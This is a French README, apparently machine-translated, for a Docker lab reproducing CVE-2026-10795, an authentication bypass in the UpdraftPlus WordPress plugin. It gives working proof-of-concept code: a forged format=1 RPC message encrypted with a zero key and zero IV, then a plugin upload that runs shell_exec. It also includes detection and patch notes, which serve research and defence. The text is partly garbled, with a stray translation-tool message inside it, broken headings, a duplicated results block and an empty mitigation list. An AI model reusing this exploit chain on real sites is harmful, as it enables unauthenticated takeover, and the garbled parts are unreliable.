
Ce dépôt contient un laboratoire Docker local permettant de reproduire et de valider la CVE-2026-10795, une vulnérabilité de contournement d'authentification non authentifiée affectant le plugin WordPress UpdraftPlus via sa couche de communication distante UpdraftCentral.
Le comportement vulnérable se situe dans le flux de traitement des messages RPC d'UpdraftCentral. Dans les versions vulnérables, un message RPC falsifié format=1 peut contourner la vérification de signature, déclencher un chemin de déchiffrement RSA en échec, et atteindre tout de même le déchiffrement symétrique avec un comportement prévisible de clé nulle/IV nul. Cela permet à un message RPC chiffré et conçu avec soin d'être accepté et dispatché comme une commande UpdraftCentral.
Ce laboratoire compare deux versions d'UpdraftPlus :
| Service | Version d'UpdraftPlus | Rôle | URL |
|---|---|---|---|
vuln | 1.26.4 | Cible de comparaison vulnérable | http://127.0.0.1:8081 |
patched | 1.26.5 | Cible de comparaison corrigée | http://127.0.0.1:8082 |
La chaîne d'exploitation démontrée est :```text Unauthenticated attacker → forged UpdraftCentral RPC request → format=1 signature verification bypass → failed RSA decrypt not rejected in vulnerable version → predictable zero-key/zero-IV decrypt path → forged JSON RPC command accepted → privileged UpdraftCentral command dispatch → plugin.upload_plugin → install and activate marker plugin → hard-coded /usr/bin/id proof endpoint
La vulnérabilité principale est le contournement de l'authentification. Le laboratoire démontre que ce contournement peut être enchaîné vers un impact de type RCE lorsqu'un état de clé UpdraftCentral privilégié est présent, car UpdraftCentral expose des commandes légitimes de gestion de plugins pouvant installer et activer des plugins WordPress.
Il ne s'agit pas d'une vulnérabilité d'injection directe de commandes. La preuve d'exécution de code provient de l'abus de la fonctionnalité d'installation de plugins authentifiée après avoir contourné la frontière d'authentification RPC.
Ce laboratoire est conçu uniquement pour la recherche locale contrôlée, la compréhension au niveau du code source et la démonstration de portfolio.
## Faits vérifiés
| Affirmation | Preuve | Comment le vérifier dans ce laboratoire |
| ---------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------ |
| UpdraftPlus 1.26.4 est vulnérable dans ce laboratoire. | Le service vulnérable accepte un message RPC `format=1` forgé et déclenche `plugin.upload_plugin`. | Exécutez `python3 poc/poc.py --url http://127.0.0.1:8081`. |
| UpdraftPlus 1.26.5 bloque le message forgé dans ce laboratoire. | Le service corrigé ne renvoie aucun corps de réponse RPC et ne déclenche pas la commande forgée. | Exécutez `python3 poc/poc.py --url http://127.0.0.1:8082`. |
| Le problème est un contournement de l'authentification dans la couche RPC d'UpdraftCentral. | Une requête RPC non authentifiée forgée peut atteindre le déclenchement de commandes dans la version vulnérable. | Comparez le comportement de `--ping` entre les ports `8081` et `8082`. |
| Le laboratoire n'installe pas le plugin marqueur au préalable. | L'installation ne comprend que WordPress, UpdraftPlus et un état de clé UpdraftCentral local. | Vérifiez `/wp-json/cve-lab/v1/id` avant d'exécuter le PoC. |
| Le PoC installe le plugin marqueur via un RPC forgé. | Le PoC envoie `plugin.upload_plugin` avec une charge utile de plugin ZIP dans le champ de données RPC. | Exécutez le PoC puis interrogez `/wp-json/cve-lab/v1/id`. |
| La cible vulnérable atteint un impact de type RCE. | Le plugin marqueur expose un point de terminaison codé en dur qui renvoie la sortie de `/usr/bin/id`. | La cible vulnérable renvoie `uid=33(www-data) gid=33(www-data)`. |
| La cible corrigée n'installe pas le plugin marqueur. | Le point de terminaison du marqueur renvoie `404 rest_no_route` sur le service corrigé. | Exécutez le PoC contre `http://127.0.0.1:8082`. |
| Le laboratoire nécessite un état de clé UpdraftCentral. | Le déclenchement d'UpdraftCentral dépend d'une entrée de clé locale et de métadonnées associées. | Consultez `scripts/setup-wordpress.sh`. |
## Hypothèses et inconnues
Ce laboratoire préconfigure intentionnellement un état de clé UpdraftCentral local afin de reproduire une configuration de site où le contrôle à distance a été configuré.
L'état de clé préconfiguré est un prérequis du laboratoire, et non la vulnérabilité elle-même. Il permet au laboratoire de parcourir de manière cohérente le chemin vulnérable d'analyse et de déchiffrement RPC.
Le laboratoire ne prétend pas que chaque installation d'UpdraftPlus est immédiatement exploitable. La chaîne démontrée dépend de la présence d'une entrée de clé locale UpdraftCentral associée à un utilisateur WordPress privilégié.
Le laboratoire démontre un impact contrôlé de type RCE en installant un plugin marqueur qui expose un point de terminaison de preuve codé en dur renvoyant la sortie de `/usr/bin/id`. Il ne fournit ni shell web générique, ni paramètre d'exécution arbitraire de commandes, ni shell inverse, ni mécanisme de persistance, ni vol d'identifiants, ni rappel externe.
Le PoC est limité aux seules cibles locales et refuse par défaut les noms d'hôtes non locaux.
## Résumé de la cause racine
La cause racine est une validation incorrecte des messages RPC UpdraftCentral dans les versions vulnérables d'UpdraftPlus.
Le flux RPC vulnérable accepte un message `format=1`. Le chemin `format=1` n'exige pas la même vérification de signature que les formats de messages plus récents.
Le problème de haut niveau est :
```text
1. The WordPress site has an UpdraftCentral key state configured.
``````text
format=1 message
→ signature verification is bypassed
→ RSA decrypt of the symmetric key can fail
→ failed decrypt result is not rejected
→ false is passed into the symmetric cipher as a key
→ phpseclib normalizes this into a predictable null key path
→ attacker-controlled encrypted JSON can decrypt successfully
→ command is dispatched
Dans un comportement vulnérable, le déchiffrement RSA peut retourner :```text false
Au lieu de rejeter ce résultat de déchiffrement ayant échoué, le flux vulnérable continue et transmet la valeur à la couche de déchiffrement symétrique.
Le schéma vulnérable effectif est :```php
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
$decrypted = $rij->decrypt($ciphertext);
Le problème est que $sym_key n'est pas validé avant son utilisation.
Lorsque $sym_key est false, la configuration du chiffrement suit un comportement prévisible de clé nulle/IV nul. Cela permet de concevoir une charge utile RPC chiffrée à l'aide d'une clé zéro et d'un IV zéro connus.
La version corrigée ajoute une vérification avant l'utilisation de la clé symétrique :```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Cela modifie la frontière de confiance.
Avant le correctif :```text
failed RSA decrypt result could still reach symmetric decrypt
Après le patch :```text failed RSA decrypt result is rejected before command dispatch
Voilà pourquoi le service vulnérable transmet la commande RPC forgée, alors que le service corrigé ne le fait pas.
## Pourquoi un contournement de l'authentification peut conduire à une exécution de code
CVE-2026-10795 est mieux décrite comme un contournement de l'authentification car la faille racine se situe dans la couche d'authentification RPC et de vérification des messages.
Cependant, une fois cette barrière d'authentification contournée, le message RPC contrôlé par l'attaquant peut atteindre des commandes UpdraftCentral privilégiées.
Un chemin de commande important est :```text
plugin.upload_plugin
Cette commande fait partie de la fonctionnalité de gestion des plugins d’UpdraftCentral. Elle accepte une charge utile ZIP de plugin, l’écrit dans un emplacement temporaire, installe le plugin et l’active lorsque demandé.
La chaîne d’impact est donc :```text Authentication bypass → forged privileged RPC command → plugin upload through legitimate UpdraftCentral functionality → plugin installation → plugin activation → WordPress plugin code execution
Ceci n'est pas une injection de commande.
Le laboratoire démontre l'exécution de code en installant un plugin marqueur qui expose un point de terminaison unique :```text
/wp-json/cve-lab/v1/id
Le plugin marker n'accepte pas de paramètre de commande. Il s'exécute uniquement:```text /usr/bin/id
Cela permet de garder la preuve sous contrôle et évite de transformer le laboratoire en un shell web à usage général.
## Résumé du correctif source
Le comportement pertinent du correctif est que la version corrigée rejette les clés symétriques invalides avant de tenter de déchiffrer le corps du message RPC.
La validation importante est :```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Ceci empêche le comportement de repli vulnérable où un échec de déchiffrement RSA peut devenir un chemin de clé symétrique prévisible.
Le résultat pratique est :```text UpdraftPlus 1.26.4 → forged format=1 RPC message reaches command dispatch
UpdraftPlus 1.26.5 → failed symmetric key validation stops the forged message → command dispatch is not reached
Le laboratoire valide également l'impact en aval en ciblant le chemin réel de la commande de téléversement du plugin UpdraftCentral.
Le comportement de commande pertinent est :```text
plugin.upload_plugin
→ base64 decode ZIP data
→ write temporary ZIP file
→ UpdraftCentral_Plugin_Upgrader->install()
→ activate_plugin()
La version corrigée bloque le message forgé avant que ce chemin de commande ne soit atteint.
Cette section explique le chemin vulnérable au niveau du code source et associe chaque étape du PoC au comportement correspondant d'UpdraftPlus / UpdraftCentral.
Le laboratoire ne repose pas sur une fausse route d'application vulnérable. Le comportement vulnérable est atteint via le véritable écouteur RPC d'UpdraftCentral et le véritable chemin de commande de gestion des plugins d'UpdraftCentral.
Les zones de code source importantes sont :```text vendor/team-updraft/common-libs/src/updraft-rpc/class-udrpc2.php central/bootstrap.php central/listener.php central/commands.php central/modules/plugin.php
### Création de l'écouteur
Le chemin RPC vulnérable commence lorsque WordPress reçoit une requête POST contenant :```text
udrpc_message
format
key_name
La bibliothèque RPC enregistre un écouteur sur le hook WordPress wp_loaded lorsque ces champs POST existent.
Conceptuellement, le flux est le suivant :```php if (!empty($_POST['udrpc_message']) && !empty($_POST['format'])) { add_action('wp_loaded', array($this, 'wp_loaded')); add_action('wp_loaded', array($this, 'wp_loaded_final'), 10000); }
Cela signifie que l'attaquant n'a pas besoin de connaître un endpoint REST spécial ou une URL d'administration. La requête RPC forgée est envoyée comme une requête POST normale à la racine du site WordPress.
Le PoC envoie :```text
POST /
format=1
key_name=0.central.updraftplus.com
udrpc_message=<crafted encrypted message>
The request reaches the same listener path used by legitimate UpdraftCentral remote communication.
UpdraftCentral stocke les clés de télécommande locales dans les options WordPress. Dans ce laboratoire, le script d'installation initialise un état de clé contrôlé pour les cibles vulnérables et corrigées.
Le nom de clé pertinent est :```text 0.central.updraftplus.com
Ce format est produit par la logique d'indicateur clé d'UpdraftCentral:```php
private function indicator_name_from_index($index) {
return $index.'.central.updraftplus.com';
}
L'écouteur ne continue que si le champ POST non chiffré correspond à l'indicateur de clé attendu :```php if (empty($_POST['key_name']) || $_POST['key_name'] != $this->key_name_indicator) { return; }
Le PoC définit donc :```python
KEY_NAME = "0.central.updraftplus.com"
Ce n'est pas la vulnérabilité. C'est un prérequis de laboratoire qui permet au test d'exercer le chemin vulnérable d'analyse et de déchiffrement RPC de manière reproductible.
UpdraftCentral prend en charge les formats de messages. La distinction importante est :```text format=1 legacy path format=2 signed message path
Dans le chemin de code vulnérable, la vérification de signature n'a lieu que lorsque le format est supérieur ou égal à 2 :```php
if ($format >= 2) {
if (empty($_POST['signature'])) {
die;
}
if (!$this->key_remote) {
die;
}
if (!$this->verify_signature($udrpc_message, $_POST['signature'], $this->key_remote)) {
die;
}
}
Parce que le PoC utilise :```text format=1
cette étape de vérification de signature est ignorée.
C'est la limite du contournement d'authentification.
Un message légitime `format=2` est censé inclure une signature valide. Le message falsifié `format=1` n'en a pas besoin, donc le message contrôlé par l'attaquant peut continuer vers le chemin de déchiffrement.
### Flux de déchiffrement vulnérable
Après les vérifications du format et du nom de clé, l'écouteur déchiffre le `udrpc_message` soumis.
Le flux de déchiffrement vulnérable dans UpdraftPlus 1.26.4 est effectivement :```php
$rsa->loadKey($this->key_local);
$sym_key = base64_decode($sym_key);
$sym_key = $rsa->decrypt($sym_key);
$rij->setKey($sym_key);
return $rij->decrypt($ciphertext);
Le bug se situe entre ces deux opérations:```php $sym_key = $rsa->decrypt($sym_key); $rij->setKey($sym_key);
Si le déchiffrement RSA échoue, `$rsa->decrypt()` peut retourner :```php
false
La version vulnérable ne rejette pas cette valeur avant de la transmettre à :```php $rij->setKey($sym_key);
La version corrigée résout ce problème en ajoutant une validation :```php
if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) {
return false;
}
Ce garde est le correctif pertinent pour la sécurité. Il empêche un résultat d'échec de déchiffrement RSA d'atteindre la configuration du chiffrement symétrique.
false devient prévisibleLe comportement vulnérable est dangereux car setKey(false) n'échoue pas de manière sûre dans ce chemin de phpseclib.
Le code du chiffrement calcule la longueur de clé à partir de la clé fournie :```php $this->setKeyLength(strlen($key) << 3); $this->key = $key;
Quand `$key` est `false`, `strlen(false)` se comporte comme un cas de clé de longueur nulle.
La logique de longueur de clé Rijndael arrondit les tailles de clé très petites à une longueur minimale valide :```php
case $length <= 128:
$this->key_length = 16;
break;
La configuration du chiffrement remplit ensuite la clé et l'IV avec des octets nuls :```php $this->encryptIV = $this->decryptIV = str_pad(substr($this->iv, 0, $this->block_size), $this->block_size, "\0");
$this->key = str_pad(substr($this->key, 0, $this->key_length), $this->key_length, "\0");
Ainsi, l'attaquant peut modéliser le comportement de déchiffrement vulnérable comme suit:```text
AES/Rijndael-CBC
key = 16 null bytes
iv = 16 null bytes
C'est pourquoi le PoC peut chiffrer localement une commande JSON RPC et faire en sorte que la cible vulnérable la déchiffre avec succès.
La fonction de déchiffrement vulnérable s'attend à ce que le message chiffré contienne :```text 3 hex chars length of RSA-encrypted symmetric key, as base64 text N chars base64 RSA-encrypted symmetric key 16 hex chars length of ciphertext, as base64 text M chars base64 encrypted message body
Le PoC construit cette structure manuellement :```python
bad_sym_key_b64 = base64.b64encode(BAD_RSA_BLOCK).decode("ascii")
ciphertext_b64 = base64.b64encode(encrypted_inner_json).decode("ascii")
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
udrpc_message = f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Le bloc RSA est intentionnellement invalide :```python BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
Sur UpdraftPlus 1.26.4, ce bloc RSA invalide fait échouer le déchiffrement RSA, mais l'échec n'est pas rejeté.
Sur UpdraftPlus 1.26.5, le résultat de déchiffrement échoué est rejeté par la nouvelle protection et le message falsifié n'atteint pas la répartition des commandes.
### Message JSON RPC interne
Le message interne chiffré est une commande JSON classique de type UpdraftCentral.
Pour la validation ping, le PoC utilise :```json
{
"command": "ping",
"time": 1710000000,
"key_name": "0.central.updraftplus.com",
"rand": 123456
}
Pour la preuve d'identité par défaut, le PoC utilise :```json { "command": "plugin.upload_plugin", "time": 1710000000, "key_name": "0.central.updraftplus.com", "rand": 123456, "data": { "filename": "cve-2026-10795-id-marker.zip", "data": "", "activate": true } }
Le `key_name` apparaît à la fois à l'extérieur et à l'intérieur du message chiffré. L'écouteur vérifie que les deux correspondent :```php
if (empty($udrpc_message['key_name']) || $_POST['key_name'] != $udrpc_message['key_name']) {
die;
}
C'est pourquoi le PoC doit inclure le même nom de clé aux deux endroits.
Après avoir déchiffré le message, l'écouteur l'analyse comme JSON :```php $udrpc_message = json_decode($udrpc_message, true);
Le message doit contenir une commande valide:```php
if (empty($udrpc_message) || !is_array($udrpc_message) || empty($udrpc_message['command']) || !is_string($udrpc_message['command'])) {
die;
}
Il doit également contenir un horodatage :```php if (empty($udrpc_message['time'])) { die; }
L'horodatage doit se trouver dans la fenêtre de rejeu autorisée :```php
$time_difference = absint($udrpc_message['time'] - time());
if ($time_difference > $this->maximum_replay_time_difference) {
die;
}
The PoC définit donc le champ interne time à l'heure actuelle.
Une fois le message déchiffré et validé, UpdraftCentral distribue la commande.
Les commandes utilisent un format de préfixe :```text .
Par exemple :```text
plugin.upload_plugin
Cela devient:```text prefix = plugin method = upload_plugin
L'écouteur résout la classe de commande à partir du préfixe, puis appelle la méthode dynamiquement :```php
$msg = apply_filters(
'updraftcentral_listener_udrpc_action',
call_user_func(array($command_class, $command), $data, $extra_info),
$command_class,
$class_prefix,
$command,
$data,
$extra_info
);
Pour la commande PoC :```text plugin.upload_plugin
le listener appelle :```php
UpdraftCentral_Plugin_Commands::upload_plugin($data)
C'est pourquoi le PoC n'a pas besoin d'un puits d'injection de commande directe. Il atteint une commande privilégiée légitime d'UpdraftCentral après avoir contourné la frontière d'authentification RPC.
L'écouteur peut définir l'utilisateur WordPress actuel à partir des métadonnées de clé UpdraftCentral :```php if (!empty($extra_info['user_id'])) { wp_set_current_user($extra_info['user_id']); }
Dans ce laboratoire, la clé seedée contient :```text
extra_info.user_id = 1
Ceci simule une clé UpdraftCentral configurée associée à l'utilisateur administrateur créé lors de l'installation de WordPress. Cela importe car le chemin de téléversement du plugin vérifie les capacités WordPress :```php if (!current_user_can('install_plugins') || !current_user_can('activate_plugins')) { $permission_error = true; }
Donc, le contournement à lui seul fait entrer la commande forgée dans la couche RPC. Les métadonnées de clé injectées déterminent le contexte utilisateur WordPress dans lequel la commande s'exécute.
Dans ce laboratoire, la commande s'exécute dans le contexte administrateur car la clé est associée à l'ID utilisateur 1.
### Sink de téléversement de plugin
La méthode de commande est :```php
public function upload_plugin($params) {
return $this->process_chunk_upload($params, 'plugin');
}
Le gestionnaire d'upload partagé attend les données d'upload du plugin :```text filename data activate
Le PoC envoie :```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
Le gestionnaire de téléversement écrit le contenu du ZIP dans un fichier temporaire :```php $result = file_put_contents( $upload_dir.'/'.$filename, base64_decode($params['data']), FILE_APPEND | LOCK_EX );
Pour un téléversement non fragmenté, l'installation s'effectue immédiatement :```php
$install_now = true;
Le gestionnaire construit ensuite un chemin ZIP :```php $zip_filepath = $upload_dir.'/'.$filename;
et l'installe à l'aide de l'outil de mise à jour du plugin UpdraftCentral :```php
$upgrader = new UpdraftCentral_Plugin_Upgrader($skin);
$install_result = $upgrader->install($zip_filepath);
Si l'installation réussit et que activate est vrai, le code active le plugin installé :```php
if ((bool) $params['activate'] && !$is_active) {
$activate = activate_plugin($data['slug']);
}
Une réponse d'installation réussie contient :```php
return $this->_response(
array(
'installed' => true,
'installed_data' => $data,
)
);
C'est la raison au niveau du code source pour laquelle un contournement d'authentification RPC forgé peut être enchaîné à l'installation et à l'activation de plugins WordPress.
Le plugin marqueur est généré par le PoC en mémoire. Il n'est pas préinstallé par la configuration Docker.
Le ZIP généré contient :```text cve-2026-10795-id-marker/ └── cve-2026-10795-id-marker.php
Le plugin marker enregistre une route REST :```text
/wp-json/cve-lab/v1/id
L'endpoint renvoie :```text lab plugin proof uid gid user id_output
La seule commande exécutée par le plugin marker est codée en dur :```php
shell_exec('/usr/bin/id 2>&1');
Il n'existe pas de paramètre cmd contrôlé par l'utilisateur.
C'est intentionnel. Le laboratoire prouve l'exécution de code via plugin tout en évitant un shell web générique.
Le service corrigé reçoit la même requête forgée et dispose du même état de clé initialisé.
La différence réside dans le garde de déchiffrement corrigé :```php if (false === $sym_key || !is_string($sym_key) || strlen($sym_key) < 16) { return false; }
Comme la preuve de concept (PoC) fournit intentionnellement un bloc RSA invalide, la clé symétrique déchiffrée est invalide.
Dans UpdraftPlus 1.26.5, le message forgé s'arrête avant l'analyse JSON et avant la répartition des commandes.
Par conséquent :```text
plugin.upload_plugin is never called
marker plugin is never installed
/wp-json/cve-lab/v1/id returns 404 rest_no_route
Ce comportement corrigé prouve que le résultat du laboratoire dépend du chemin de code RPC vulnérable d'UpdraftPlus, et non du harnais Docker.
Le PoC commence par refuser les cibles non locales :```python allowed_hosts = {"127.0.0.1", "localhost", "::1"}
if host not in allowed_hosts: raise ValueError("Refusing non-local target")
Cela maintient le script limité au laboratoire Docker.
Le PoC construit le message RPC interne :```python
inner = {
"command": command,
"time": int(time.time()),
"key_name": KEY_NAME,
"rand": random.randint(1, 2_147_483_647),
}
Si la preuve d'identité par défaut est utilisée, la commande est :```python command = "plugin.upload_plugin"
et les données sont :```python
{
"filename": "cve-2026-10795-id-marker.zip",
"data": base64.b64encode(zip_bytes).decode("ascii"),
"activate": True,
}
Le PoC chiffre ensuite le JSON interne avec l'état de chiffrement prévisible et vulnérable :```python ZERO_KEY = b"\x00" * 16 ZERO_IV = b"\x00" * 16
cipher = AES.new(ZERO_KEY, AES.MODE_CBC, iv=ZERO_IV) ciphertext = cipher.encrypt(pad(plaintext, AES.block_size))
Ceci correspond à la conséquence vulnérable du passage de `false` dans la configuration du chiffrement symétrique.
Le PoC utilise intentionnellement un bloc RSA invalide :```python
BAD_RSA_BLOCK = b"CVE-2026-10795-LAB-BAD-RSA-BLOCK"
Le udrpc_message résultant est construit dans le même format préfixé par la longueur qu'attend la fonction de déchiffrement RPC :```python
sym_key_len = f"{len(bad_sym_key_b64):03x}"
ciphertext_len = f"{len(ciphertext_b64):016x}"
return f"{sym_key_len}{bad_sym_key_b64}{ciphertext_len}{ciphertext_b64}"
Enfin, le PoC envoie la requête RPC forgée :```python
fields = {
"format": "1",
"key_name": KEY_NAME,
"udrpc_message": build_udrpc_message(command, data),
}
requests.post(target, data=fields, timeout=timeout)
Sur la cible vulnérable, la réponse du serveur contient un corps de réponse JSON valide de style RPC. Le PoC traite cela comme :```text RPC DISPATCHED
Après l'envoi, le PoC vérifie l'impact en interrogeant le endpoint marqueur :```text
GET /wp-json/cve-lab/v1/id
Si le plugin marker a été installé et activé, l'endpoint renvoie :```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
Ce résultat prouve que le message RPC non authentifié forgé a atteint un chemin d'installation de plugin privilégié et a activé le code de plugin fourni par l'attaquant dans le laboratoire local.
## Ce que le laboratoire prouve
Ce laboratoire prouve la chaîne technique suivante :```text
1. UpdraftPlus 1.26.4 accepts a forged format=1 UpdraftCentral RPC message.
2. The forged message does not need a valid signature.
3. A failed RSA decrypt result is not rejected before symmetric decrypt.
4. The symmetric decrypt path becomes predictable enough to craft a valid JSON command.
5. The JSON command reaches UpdraftCentral command dispatch.
6. The dispatched command can call plugin.upload_plugin.
7. plugin.upload_plugin can install and activate a ZIP plugin.
8. Activated plugin code runs in the web server context.
9. UpdraftPlus 1.26.5 blocks the same forged message before dispatch.
Le laboratoire ne prouve pas que chaque installation est exploitable sans prérequis.
Le prérequis nécessaire pour cette démonstration est :```text an existing UpdraftCentral local key state associated with a privileged WordPress user
La configuration Docker crée ce prérequis dans les deux cibles afin que la différence entre le comportement vulnérable et le comportement corrigé puisse être testée équitablement.
## Architecture du laboratoire
Le laboratoire exécute deux installations WordPress isolées via Docker Compose.```text
.
├── docker-compose.yml
├── scripts/
│ └── setup-wordpress.sh
├── vuln/
│ └── Dockerfile
├── patched/
│ └── Dockerfile
├── poc/
│ └── poc.py
├── requirements.txt
├── README.md
└── .gitignore
Les deux services WordPress utilisent des bases de données distinctes et des versions distinctes d'UpdraftPlus :
Services exposés par défaut :```text Vulnerable target: http://127.0.0.1:8081 Patched target: http://127.0.0.1:8082
Le processus de configuration initialise le même état de clé UpdraftCentral dans les deux services :```text
key_name: 0.central.updraftplus.com
extra_info.user_id: 1
Cela donne aux deux cibles le même état prérequis. La différence de comportement provient du code UpdraftPlus vulnérable par rapport au code corrigé, et non d'une configuration de laboratoire différente.
requirements.txtDépendances Python :```text requests urllib3<2 pycryptodome
La contrainte `urllib3<2` évite les avertissements liés à LibreSSL sur certaines versions de Python sous macOS.
## Démarrage rapide
Commencez à partir d'un état de laboratoire propre :```bash
docker compose down -v --remove-orphans
docker compose up -d --build
Surveiller les journaux d’installation :```bash docker compose logs -f vuln_setup patched_setup
Indicateurs de configuration attendus:```text
Seeded UpdraftCentral key: 0.central.updraftplus.com
Plugin updraftplus details:
Status: Active
Version: 1.26.4
Setup complete for CVE-2026-10795 vuln
I don't see any content to translate — the input after "INPUT:" is empty. Please provide the chunk text you'd like translated into French.```text Seeded UpdraftCentral key: 0.central.updraftplus.com Plugin updraftplus details: Status: Active Version: 1.26.5 Setup complete for CVE-2026-10795 patched
Vérifier les services en cours d'exécution :```bash
docker compose ps
Créez et activez un environnement virtuel Python :```bash python3 -m venv venv source venv/bin/activate pip install -r requirements.txt
Exécutez la preuve d'identité par défaut contre la cible vulnérable :```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Exécutez la même preuve contre la cible corrigée :```bash python3 poc/poc.py --url http://127.0.0.1:8082
Le script exige intentionnellement l'option `--url`. Cela force le testeur à choisir explicitement la cible au lieu d'attaquer automatiquement les deux services.
## Utilisation du PoC
Comportement par défaut :```bash
python3 poc/poc.py --url <local_target_url>
Exemple de cible vulnérable :```bash python3 poc/poc.py --url http://127.0.0.1:8081
Exemple de cible corrigée :```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Validation facultative ping uniquement:```bash python3 poc/poc.py --ping --url http://127.0.0.1:8081 python3 poc/poc.py --ping --url http://127.0.0.1:8082
Supported options:
| Option | Requis | Objectif |
| ----------- | ------ | -------------------------------------------------------- |
| `--url` | Oui | URL cible du laboratoire local |
| `--ping` | Non | Exécuter une validation de ping falsifié inoffensif au lieu d'une preuve d'identité |
| `--timeout` | Non | Délai d'expiration HTTP en secondes. Par défaut : `15` |
Hôtes cibles acceptés :```text
127.0.0.1
localhost
::1
Le PoC refuse les cibles non locales par défaut.
Le PoC s'exécute depuis la machine hôte et envoie des requêtes HTTP aux services Docker exposés.
L'action par défaut du PoC est la preuve d'identité.
Le flux de haut niveau est :```text
Le plugin marqueur n'est pas stocké dans le référentiel en tant que fichier de plugin autonome. Il est généré en mémoire par le PoC.
La commande RPC forgée est :```text
plugin.upload_plugin
Les données RPC contiennent :```text filename = cve-2026-10795-id-marker.zip data = base64(plugin_zip) activate = true
Le PoC chiffre le message JSON-RPC interne en utilisant :```text
AES-CBC
key = 16 null bytes
iv = 16 null bytes
Il inclut également un bloc de clé symétrique chiffré RSA délibérément invalide.
Sur la version vulnérable, l'échec du déchiffrement RSA n'est pas rejeté. Le message se poursuit dans le chemin de déchiffrement prévisible à clé nulle et la commande forgée est exécutée.
Sur la version corrigée, la clé symétrique invalide est rejetée et la commande forgée n'est pas exécutée.
--ping existeL'option --ping est une aide au débogage.
Elle valide uniquement le contournement cryptographique et la limite de dispatch RPC. Elle ne télécharge pas de plugin et n'exécute pas /usr/bin/id.
Utilisez --ping lorsque la preuve d'ID par défaut ne fonctionne pas et que l'échec doit être isolé.
Si --ping échoue, le problème se situe probablement avant l'exécution de la commande :```text
wrong key state
wrong key_name
message format issue
encryption mismatch
listener not active
patched behavior
Si `--ping` réussit mais que la preuve d'ID échoue, le problème vient probablement après l'envoi :```text
plugin.upload_plugin data issue
ZIP plugin format issue
filesystem permission issue
plugin activation issue
REST endpoint registration issue
Comportement attendu du ping :```text 1.26.4 vulnerable target → PING DISPATCHED 1.26.5 patched target → PING NOT DISPATCHED
## Résultats attendus
### Cible vulnérable
Commande :```bash
python3 poc/poc.py --url http://127.0.0.1:8081
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
### Cible corrigée
Commande :```bash
python3 poc/poc.py --url http://127.0.0.1:8082
Interpretation: UpdraftPlus 1.26.4 should show RPC DISPATCHED and Marker active: True UpdraftPlus 1.26.5 should show RPC NOT DISPATCHED and Marker active: False id output should be a hard-coded local proof such as uid=33(www-data).
## Commandes de vérification manuelle
Vérifier la santé du service :```bash
docker compose ps
Inspectez les métadonnées des services vulnérables :```bash curl -s http://127.0.0.1:8081/cve-lab-inspector.php | python3 -m json.tool
Inspectez les métadonnées du service corrigé :```bash
curl -s http://127.0.0.1:8082/cve-lab-inspector.php | python3 -m json.tool
Vérifier l'état du plugin à l'exécution :```bash curl -s 'http://127.0.0.1:8081/cve-lab-inspector.php?runtime=1' | python3 -m json.tool curl -s 'http://127.0.0.1:8082/cve-lab-inspector.php?runtime=1' | python3 -m json.tool
Lancer la validation ping uniquement :```bash
python3 poc/poc.py --ping --url http://127.0.0.1:8081
python3 poc/poc.py --ping --url http://127.0.0.1:8082
Preuve de l'ID de run :```bash python3 poc/poc.py --url http://127.0.0.1:8081 python3 poc/poc.py --url http://127.0.0.1:8082
Vérifiez le point de terminaison du marqueur directement après avoir exécuté le PoC :```bash
curl -s http://127.0.0.1:8081/wp-json/cve-lab/v1/id | python3 -m json.tool
curl -s http://127.0.0.1:8082/wp-json/cve-lab/v1/id | python3 -m json.tool
Attendu :```text 8081 → marker endpoint exists and returns id output 8082 → marker endpoint returns 404 rest_no_route
Vérifiez les plugins installés dans le conteneur vulnérable :```bash
docker compose exec -T vuln sh -lc \
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Vérifiez les plugins installés dans le conteneur corrigé :```bash
docker compose exec -T patched sh -lc
'find /var/www/html/wp-content/plugins -maxdepth 2 -type f | sort | grep cve-2026-10795 || true'
Le service vulnérable doit contenir le plugin marqueur après l'exécution du PoC. Le service corrigé ne doit pas.
## Impact
Ce laboratoire démontre qu'un attaquant non authentifié peut falsifier un message RPC UpdraftCentral qui atteint la répartition de commandes privilégiées dans UpdraftPlus 1.26.4 lorsqu'un état de clé UpdraftCentral approprié existe.
L'impact démontré est de type RCE, car la commande RPC falsifiée abuse des fonctionnalités légitimes de gestion des plugins :```text
plugin.upload_plugin
→ install plugin ZIP
→ activate plugin
→ execute plugin code in the web server context
La preuve locale montre l'exécution en tant qu'utilisateur du serveur web :```text uid=33(www-data) gid=33(www-data) groups=33(www-data)
La catégorie de vulnérabilité reste le contournement d'authentification. L'exécution de code résulte d'un impact en chaîne via l'installation privilégiée de plugins WordPress.
## Détection et surveillance
Les indicateurs potentiels incluent des requêtes POST non authentifiées vers la page d'accueil WordPress contenant des champs RPC UpdraftCentral :```text
format
key_name
udrpc_message
signature
Caractéristiques suspectes :```text format=1 key_name ending with .central.updraftplus.com large udrpc_message value unexpected unauthenticated POST requests to / repeated RPC attempts with empty or unusual response bodies new unexpected plugin directories under wp-content/plugins new plugin activation events REST routes appearing unexpectedly after a suspicious request
Indicateurs de laboratoire local:```text
POST / with format=1 and udrpc_message
new plugin directory: wp-content/plugins/cve-2026-10795-id-marker
new REST route: /wp-json/cve-lab/v1/id
id output: uid=33(www-data)
Idées de surveillance en production :
udrpc_message.format=1 provenant de sources non fiables.wp-content/plugins.Mettez à niveau UpdraftPlus vers la version 1.26.5 ou ultérieure.
La version corrigée rejette les clés symétriques déchiffrées invalides avant le déchiffrement symétrique et l'envoi des commandes.
Étapes d'atténuation recommandées :
